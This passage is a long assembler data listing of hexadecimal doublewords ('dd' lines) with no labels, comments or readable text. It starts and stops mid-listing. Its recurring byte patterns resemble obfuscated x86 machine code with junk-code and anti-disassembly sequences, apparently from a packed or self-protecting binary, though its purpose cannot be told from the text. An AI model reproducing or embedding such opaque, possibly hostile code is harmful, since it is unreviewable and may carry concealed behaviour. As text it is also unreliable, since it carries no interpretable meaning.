5EC35E20h, 4247489h, 4244481h dd 15h, 0E4C35646h, 0D8BF0FDDh, 9E9h, 0D0E77F00h, 0A130B393h dd 95FF98C8h, 5E720E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 15C35646h, 8DBDFADDh, 0D1600813h, 6A61CBh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E87107C3h, 5, 0F3AB695Bh, 0D9D29C1h, 5B05E706h, 0C9985C7h dd 305E7h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 471F77C3h, 76C0FA0Eh, 198D01C5h dd 8305E70Dh, 0EAA350BDh, 840F0005h, 33h, 5B58960h, 8005E707h dd 0E9618FDBh, 3Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0BAC35545h, 5E53D47Dh, 50BD1A0Fh, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0CF80C08Bh dd 4810F7Ch, 66000000h, 83F32DBFh, 0E70C99BDh, 850F0305h dd 449h, 2BD9B529h, 0BD8305E7h, 5EAA350h, 36840F00h, 6A000004h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 7A44C350h, 0FF341E4Fh, 0EAA350B5h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 95FFDC31h, 5E72D69h, 241B589h, 0B58B05E7h, 5EAA344h dd 821BD23h, 6C705E7h, 10001h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0BDC35343h, 82D4E6BDh, 96F9C4BCh dd 2BECA8BFh, 14E95038h, 72000000h, 5965A00Bh, 5D15B5A7h dd 259A8EA9h, 0DE33AF62h, 960B773Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 1CC35040h, 8B02D994h, 50B5FFFBh dd 6605EAA3h, 8BC36BBBh, 0E72C99BDh, 7D95FF05h, 6A05E724h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 3CA5C352h, 0E9823AC6h, 0Eh, 0DE2AB413h, 3EEAB696h dd 5C0E9114h, 10E9EA35h, 0B4000000h, 0B64A10A2h, 6BD5F1F6h dd 9FD24E76h, 8BF86019h, 0EAA344B5h, 0EF816605h, 8D899157h dd 5E70E3Dh, 3CD858Bh, 810F05E7h, 4, 61616060h, 0C48689h dd 0BD8B0000h, 5E72A41h, 2315958Bh, 6A05E7h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 54394CC3h dd 0F23C51ADh, 178B0Fh, 0BE80000h, 0DB000000h, 724615F4h dd 365B376Ch, 95293756h, 5E70E3Dh, 4C2835Fh, 26658D09h dd 508905E7h, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 9B3C481Eh, 20A224E2h, 6880Fh, 0B5290000h dd 5E7024Dh, 858DD98Bh, 5EAB732h, 0F28B6660h, 5810Fh, 0ABE0000h dd 617CB111h, 0B88689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0B30E70C3h, 0A7E381A5h dd 6A711F27h, 0FA8B6600h, 0A350B5FFh, 9D8905EAh, 5E722EDh dd 4195FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 50B217C3h, 6A243489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 408AC356h, 2B5F0314h, 0A350B5FFh, 6A05EAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B58913C3h dd 5E715E9h, 2A0995FFh, 0BF6605E7h, 0BD83B80Ah, 5E704F9h dd 86840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 1F49C356h, 13E9h, 1E3C9D00h dd 0A63E6C0Bh, 0C003E7C8h, 1421A6D9h, 0E04731F2h, 0C880F96h dd 0F000000h, 685h, 810F00h, 50000000h, 5E8h, 903C0F00h dd 0AEBBD5F7h, 5F3E9FB4h, 53006A96h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0C311A559h, 0F8858510h, 3DD1CB81h, 8B6640DEh dd 50B5FFF8h, 6A05EAA3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0E492C355h, 938D464h dd 0E7061185h, 1D95FF05h, 6A05E707h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F9ECC355h dd 0A350B5FFh, 816605EAh, 0FF05B6CBh, 0E70CC595h, 1DBD8B05h dd 8905E703h, 0E71CADBDh, 0CDBD8305h, 205E725h, 5D840Fh dd 0BFC0000h, 0E715C1BDh, 51858B05h, 6A05E706h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 8B66C351h, 6830FE5h, 8B000000h, 0E70509BDh, 0A5BD8905h dd 0C605E721h, 11E80000h, 92000000h, 86AB764Eh, 2041FF47h dd 7834F269h, 15F750F4h, 12BD9D8Bh, 0C75F05E7h, 0E70DFD85h dd 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 92CB96FDh, 14B01EF3h, 0F38EE9B3h dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 3A045FC3h, 0AA9F0D28h, 8B661BE6h, 6AC18BFEh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0B2E9C357h, 1525EACh, 0FE914h, 0EFB20000h dd 0AFD51D58h, 60C12CECh, 0F6493810h, 0F9858D92h, 5105E71Ah dd 2C98589h, 895B05E7h, 0E725618Dh, 77B79005h, 52506050h dd 0FD68B66h, 5A585231h, 6800F58h, 0F000000h, 89h, 8B906100h dd 0E70375BDh, 6A006A05h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 343EC352h, 0FA8B6684h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 4A0A4C3h, 9A4BB565h, 8DEBFBF0h, 0EB556A85h dd 0DC1EBF05h, 0C0836767h, 71CB8105h, 507E5129h, 0BBC2B960h dd 89615056h, 81662404h, 6ADF32D3h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 6A7383h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 96C35747h, 95FF2CEEh dd 5E702C5h, 1923BF66h, 95148D8Dh, 605305EAh, 30D1BD23h dd 816605E7h, 6128CAD9h, 6AD1FF5Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 99D6C355h dd 5941D68Bh, 142982FBh, 7F1BD83h, 0F0105E7h, 7685h, 6A026A00h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 303BC353h, 8D099D99h, 5E72E19h, 89FE8B50h dd 0BF0F2404h, 12E9F9h, 53FE0000h, 0C2A27EA8h, 0D17EC9F1h dd 46A8EB59h, 58A26CEFh, 4195FFh, 6A05E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 104434C3h dd 0BF0FC1DCh, 0E99D8BD8h, 0E905E706h, 0E45h, 0E8h, 0ED815D00h dd 5EB5574h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0EAC35747h, 3D1ED6DEh, 9E9h, 3D538900h, 0A505031Ah dd 858DB935h, 5EA8F5Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0A6C35141h, 0B9F38166h, 0B760508Eh, 489619Eh dd 0BE924h, 5C0C0000h, 2BBDA0F3h, 46113E31h, 35FF64B6h dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B5C35040h dd 337646D1h, 0FE977h, 328C0000h, 0B54274E3h, 0E4BF2C42h dd 5F1EA8F3h, 2589649Ch, 0 dd 0E4A935BBh, 0E185FF12h, 6A05E71Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 218BC352h dd 93348B07h, 10E8D7h, 0EC520000h, 17CA55E1h, 0EDB797E5h dd 83B52DFAh, 0BF669C7Fh, 6A5FC042h, 0FFD98BFFh, 0E71605B5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0B771EACBh, 0EDDA9997h, 880F5Fh, 0FF000000h dd 0E729C195h, 10DE905h, 0FE80000h, 58000000h, 387EFEEEh dd 640DB737h, 1A8CC25Fh, 896033DCh, 0E70E5585h, 0E1F48005h dd 8D895F61h, 5E707E9h, 8C0F00B0h, 6, 16619D89h, 8B6605E7h dd 2370E6FBh, 0E7206DBDh, 800F05h, 0E4000000h, 81666071h dd 0B42F50C6h, 0D7816173h, 2899CE6Fh, 830F613Ch, 0AFh dd 0C8B60FFCh, 0F7816656h, 0F85BA729h, 6BAh, 8BC18B00h dd 0CF8166D9h, 0E8C1CBC5h, 0A59D3304h, 6605E720h, 0BF0FE2F7h dd 8BC82BDEh, 619D8BD1h, 0E905E732h, 0Ch, 7E9h, 0B6FA8C00h dd 1897F0A6h, 1BA1858Bh, 0BD8B05E7h, 5E70185h, 0F07C083h dd 68Bh, 65958900h, 8305E70Dh, 0BF0F00C0h, 0FD03BDFh, 1783h dd 38B0F00h, 0F000000h, 34E9F8B7h, 0F000000h, 385h, 0FE8B6600h dd 25A18D8Bh, 83F905E7h, 840F01E1h, 1Bh, 8375CB80h, 0E725A1A5h dd 8B66FE05h, 0A19589D8h, 0F05E71Bh, 0E9FFB7h, 8D000000h dd 0EAD2E7B5h, 0DAD78105h, 6A40EB1Fh, 0A183BB00h, 95FF6C6Ch dd 5E71A1Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 60C35545h, 880FD2CFh, 5, 5F50F560h, 9ECB961h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0CF8158C3h, 14D0CC51h, 6AFCE183h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0BA0DC355h dd 2A4D92F5h, 8A47AB3Dh, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0EA3775A8h, 904EA4A5h dd 8BC02BA9h, 0E719C1BDh, 0BA05h, 0BF0F0000h, 8D9D0BFAh dd 0AD05E707h, 0E8D1C233h, 0E983D003h, 23F47504h, 0E703ED9Dh dd 0F9BD8B05h, 6A05E71Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0D0A1C357h, 8E9CDh dd 88700000h, 0B3D5C9E6h, 0AE932D2h, 0C1000000h, 79111BFFh dd 0E726838h, 880D3Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 92E96EC3h, 0BFB860D9h dd 18B6AD7Bh, 2315958Bh, 0F6005E7h, 148Dh, 0EE800h, 5000000h dd 8F4E7DC4h, 0F12583BBh, 0D08338AAh, 6160605Ah, 2F399589h dd 616105E7h, 8B98D8Bh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0F426D0C3h, 248AC176h dd 0AADB8166h, 0C28B5027h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 0F58188Bh, 0B589FBB7h, 5E70BB5h, 13E8h, 0FAD37100h dd 0DF0735D3h, 71D021Dh, 67835DB7h, 2C2AB227h, 3319D8Bh dd 835F05E7h, 0E7211DBDh, 840F0005h, 71h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 84C35141h, 0E637918Fh dd 0BD8B424Eh, 5E70699h, 0B8FD8Ah, 8B000000h, 0E73199BDh dd 6850F05h, 8B000000h, 0E72791BDh, 0FA8D8D05h, 6A05E74Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0FFF4C350h, 45BD89E1h, 905E706h, 0E7170995h dd 99BD8305h, 5E70Ch, 3D5840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 61843AC3h dd 0C41DC173h, 0C99BD83h, 0F0105E7h, 3C184h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BD83D5E4h, 5E70C99h, 61860F03h, 81000003h, 0CA8631C7h dd 9D8B6054h, 5E706C1h, 6AD98C66h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1D47C356h dd 60C9373Ah, 2D11BD29h, 0B58905E7h, 5E716F9h, 4E18061h dd 0F9D8B70Fh, 840FC90Ah, 117h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0AEC35141h, 36BF7DF1h, 8B35CFCEh dd 0E7072D85h, 0DF8B6605h, 2E818533h, 6A05E7h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0AE7FC5C3h, 661C07DCh, 1537DB81h, 8B665650h, 4895BD9h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 45FB4AFFh, 7F8693F5h, 89006AB9h, 0E703C99Dh dd 73DD6805h, 860FDE01h, 0Ah, 0F525060h, 51585A31h, 481615Ah dd 1D902224h, 13E922h, 9E820000h, 0C4C75C7h, 20466332h dd 30E42EC4h, 33531708h, 0E595FFA2h, 6A05E720h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 6EFCC355h, 0BE7F5584h, 31E18D89h, 858905E7h, 5EAA350h dd 128C0Fh, 9E80000h, 0DB000000h, 0CEEB6B2h, 7453DB4h dd 5BD98B66h, 16FE9h, 0F5B58900h, 8B05E72Dh, 0EAA34885h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0C7C7B303h, 1800h, 12840F00h, 0E9000000h dd 0Dh, 0DE740FD8h, 8847C9B8h, 35627B57h, 0DDBD8B10h, 8B05E713h dd 0EAA34CB5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0C897A0CDh, 858BEA3Eh dd 5E70081h, 7D850160h, 6105E725h, 81660689h, 8B7E9CDFh dd 0E7072D85h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 4E6ADF1Eh, 88B867BEh dd 51BD8B3Eh, 0E805E708h, 12h, 0BCDFE0ADh, 0CBD45533h dd 0A3C25428h, 759CDD2Fh, 0BD890693h, 5E7000Dh, 446895Bh dd 6CBABB66h, 9C62BF50h, 3489413Bh, 0B5FFF524h, 5EAA348h dd 32E19D0Bh, 0D46805E7h, 818FB7F8h, 0B2B2404h, 81667067h dd 665BE9EBh, 8D0686BFh, 0EAA35085h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 89602838h dd 0E730DDBDh, 61FFB505h, 66606090h, 50D24BB8h, 5A310F52h dd 50616158h, 11E9h, 0A7E10E00h, 6330858Dh, 671F57BCh dd 5B174003h, 669091D6h, 8DCACF81h, 20E595FFh, 853105E7h dd 5E731C9h, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 52C14A6Dh, 895FDE8Bh, 0E70D2185h dd 9985C705h, 305E70Ch, 60000000h, 1C2CD181h, 0BD290872h dd 5E70655h, 50BD8361h, 5EAA3h, 46840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 248726C3h, 83019BF1h, 0E95B56ABh, 37h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 57C35747h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h dd 0EBE77504h, 0FC08B00h, 0A8Ch, 5E900h, 32020000h, 60AD6849h dd 27059501h, 8D3105E7h, 5E726ADh, 99BD8361h, 305E70Ch dd 508850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 988A8DC3h, 58CC8F89h, 0F019531h dd 0BB6605E7h, 0BD835018h, 5EAA350h, 0CF840F00h, 89000004h dd 0E72C699Dh, 50B5FF05h, 0F05EAA3h, 95FFDABFh, 5E72D69h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A4C35646h dd 7479E02h, 60869841h, 1CD9958Bh, 0BF0F05E7h, 0B52961F7h dd 5E72EB9h, 0A344B58Bh, 0CE805EAh, 53000000h, 4F3E27E3h dd 29F4CF92h, 29982A66h, 0E726F1B5h, 6E95F05h, 32000000h dd 0E4A40B56h, 106C746h, 6A000100h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 6814C351h dd 14E7C3CEh, 22299D89h, 11E905E7h, 18000000h, 7A083D09h dd 5EC9114Bh, 0E3136E25h, 0A1F4C767h, 13E896h, 0FD700000h dd 0C686F894h, 3D063FDCh, 0B6121DEFh, 0B4F2E98Eh, 890F510Bh dd 0 dd 0BB505F5Bh, 83730F8h, 0F59D8B96h, 6605E712h, 0B5FFDE8Bh dd 5EAA350h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 40C35646h, 30216A68h, 0BEE45C0Fh, 95FFDA8Bh, 5E7247Dh dd 32DBD8Bh, 0B58B05E7h, 5EAA344h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 38C35747h, 0D2D2F381h, 81661E70h dd 8B5BFAE7h, 0E703CD85h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 89F53894h dd 0C486h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 66E80E25h, 89F30DBBh, 0E7071985h dd 15958B05h, 6A05E723h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0D039C350h, 969D48B5h dd 33466ABh, 0E70BEDBDh, 4C28305h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 4FC35747h, 8D29EDFEh, 5E71581h dd 0CCEF8166h, 205089CBh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 5CC35646h, 2208F538h, 32858D4Dh, 6A05EAB7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0C94AC350h, 741C27A1h, 0B679795h, 9319501h dd 868905E7h, 0B8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 6BC35141h, 945BD31h, 850105E7h, 5E70241h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 5B9DD7C3h, 1119589h, 0B5FF05E7h, 5EAA350h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 40C35545h dd 0BF0F06B0h, 4195FFD9h, 8105E700h, 6242B3DBh, 5250506Ch dd 65E7BB66h, 19BB310Fh, 5A038019h, 24348958h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BCC35747h, 2E118D89h dd 0B5FF05E7h, 5EAA350h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0ACC35141h, 3F7FDC06h, 69B08983h, 5E9h dd 0DF1BBD00h, 0FA8AD1C1h, 2A0995FFh, 0B70F05E7h, 0F9BD83DBh dd 5E704h, 3F840Fh, 0B70F0000h, 8B96FCFAh, 830F50F8h, 8 dd 28F0Fh, 5B560000h, 56006A96h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 6BB37C07h, 81034604h dd 0E8EA96F7h, 50B5FF67h, 6A05EAA3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0BC70C353h dd 0F380B5D2h, 1D95FF4Fh, 6A05E707h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 1D3DC352h dd 258D2928h, 0FF05E71Ah, 0EAA350B5h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 15C6C11Ah, 0C98D8960h, 0F505E719h, 0EE961h, 99150000h dd 0A29160C8h, 0F202F00Bh, 0D34E799Fh, 2D4D9589h, 95FF05E7h dd 5E70CC5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 3DC35747h, 4B78B14Ah, 0A850F9Fh, 0E9000000h, 5 dd 0DE3FE4CBh, 0FE811h, 7BD70000h, 0E93644E2h, 1DC4A54Ah dd 41683D29h, 71E381FBh, 5F461D29h, 25CDBD83h, 0F0205E7h dd 3184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0F99BD561h, 0DED9D2Bh, 858B05E7h dd 5E70651h, 0F0000C6h, 85C7D9B7h, 5E70DFDh, 0 dd 16699D0Bh, 8E905E7h, 6AFFFFF3h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 2A5AC355h dd 4C92704h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 33B187C3h, 0BD444B8h, 0E712F1BDh dd 0F9858D05h, 5005E71Ah, 9E96060h, 0B6000000h, 0B06DFC88h dd 270F81CDh, 0CE9844BFh, 8961610Ah, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 985A8BC3h dd 41560839h, 8B006AD9h, 0E72281BDh, 6A006A05h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 6BE3C351h, 9D8BCC14h, 5E72795h, 0EB816650h, 8D5F9392h dd 0EB661585h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 895D18B0h, 0E730D1B5h dd 0DB816605h, 0C083CF27h, 55B52905h, 0E805E706h, 14h dd 155A86B4h, 99CCFECCh, 0A6E40471h, 0A800A606h, 89C62D85h dd 505BF98Bh, 4840Fh, 0BB660000h, 489C4FEh, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0BE8B3h, 0AC10000h, 2D563C15h, 11BE7099h, 0C98589C6h dd 5B05E703h, 2C0D9589h, 6A05E7h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 15C35141h, 0CBB324AAh, 27D5BD03h dd 6A05E7h, 2271BD89h, 95FF05E7h, 5E702C5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8C35646h, 5CC73F23h dd 66609EBCh, 20DECF81h, 0C2EAD8BFh, 8D8D6164h, 5EA9514h dd 2A8C46BBh, 6AD1FF54h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0DB3FC356h, 9CF6EBEFh dd 0E62A0C64h, 1CBD9D29h, 0BD8305E7h, 5E707F1h, 0A3850F01h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0D0F3C351h, 0EAFDD6EFh, 6AFE8B33h dd 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0C654BC72h, 50E14682h, 0DA8A5250h, 585A310Fh dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0FF8DC353h, 0E7004195h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0F63721DBh, 8E9F5h, 0CF000000h, 19EC2AF2h, 1CE96D67h dd 0E800000Dh, 0 dd 1FED815Dh, 6A05EB66h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0D351C353h, 6AD88B5Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 269EC353h, 4E1FA8FAh, 0BD8BE119h, 5E70A7Dh dd 8F5B858Dh, 6A05EAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 54FB5BC3h, 0E7803337h, 50DE8A49h dd 489FE8Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 67B69D28h, 8B2E5F20h, 0E722199Dh dd 0C8B0F05h, 0F000000h, 685h, 820F00h, 64000000h, 35FFh dd 8E90000h, 10000000h, 60924635h, 6434FBFBh, 2589h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 8323ECC3h, 1CE185FFh, 0BD8905E7h, 5E7218Dh, 6AFF6Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0B31E34C3h, 8166ED6Dh, 0FF02DEEFh, 0E708C5B5h, 8D9D8B05h dd 0FF05E700h, 0E729C195h, 12BE905h, 0BD8B0000h, 5E709A5h dd 0F38100B0h, 7303A71Ch, 0BD2B70E6h, 5E70B4Dh, 613C71E4h dd 10B830Fh, 7E90000h, 44000000h, 0B7EE4346h, 0B60FD66Ah dd 0D9BD89C8h, 0BA05E707h, 6, 75BD3160h, 0E905E71Ch, 0Dh dd 0B3DFBD2Ch, 0D179E85Ch, 37BA9782h, 0C18B6149h, 0C8E0Fh dd 840F0000h, 6, 25258509h, 0E8C105E7h, 0F5BD8B04h, 0F05E726h dd 0F766F9B7h, 7BF66E2h, 8BC82B65h, 8BD18BFEh, 0E725B1BDh dd 55BD8B05h, 0E905E70Eh, 5, 7156E8BBh, 0C1858B53h, 0B05E712h dd 0E71C319Dh, 7C08305h, 8E9h, 0A02CBD00h, 7E045FCh, 0C083C0h dd 0ABD9D8Bh, 8D8905E7h, 5E70985h, 830FD03Bh, 0Eh, 0F8DF8166h dd 57E9BFh, 0BF660000h, 8D8BE07Eh, 5E726D1h, 0DE9h, 0DF3B7A00h dd 92AEDDA1h, 0EE7599D8h, 0E1837F51h, 32840F01h, 0BB000000h dd 4386B395h, 0BE9h, 508EBF00h, 0ABF06A01h, 0F882F68h dd 26D1A583h, 1FE05E7h, 0E72F85B5h, 0C1958905h, 0BB05E712h dd 2509CF35h, 0E9h, 0C5B58D00h, 8905EADEh, 0E7125195h dd 6A006A05h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 5EFAC353h, 0FF68D610h, 0E71A1D95h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 667D584Fh, 3AB9F88Bh, 6A000009h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0ED9BC357h, 6AC49C56h, 2A1F24A5h, 2E399D89h, 0E18305E7h dd 259D8BFCh, 0FC05E707h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 3AC35040h, 0B8D98Ah, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 6ABEC350h, 2B70CCA7h, 14E77DAh, 0C9BD8B52h, 5B05E708h dd 0BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 85012367h, 5E7090Dh, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0DAC35545h, 51C5152Dh, 6AE7F684h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 4FCEC350h, 0B5419A22h, 0F92E388Fh, 23DEB70Fh, 0E720D5BDh dd 880D05h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 487FCFC3h, 66D3CFC7h, 0D1B7D98Bh dd 2315958Bh, 9D8B05E7h, 5E7042Dh, 8B98D8Bh, 0F78105E7h dd 5F440AE1h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 8D015818h, 5E71449h, 0AFC38166h, 1DBD836Ch, 5E721h dd 68840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 233362C3h, 0C31A7D78h, 0D1B53153h dd 0B805E70Bh, 0 dd 0E69BD2Bh, 8D8D05E7h, 5E74DFAh, 1B09FFBFh, 6AE1FF67h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 891EC357h, 0C46ADDC5h, 66726728h, 0BD83FE8Bh dd 5E70C99h, 7840F00h, 89000004h, 0E705698Dh, 99BD8305h dd 105E70Ch, 40F840Fh, 0F9560000h, 99BD835Bh, 305E70Ch dd 3C9860Fh, 60F80000h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0C8C35141h, 6AD98C66h, 3E85200h, 20000000h dd 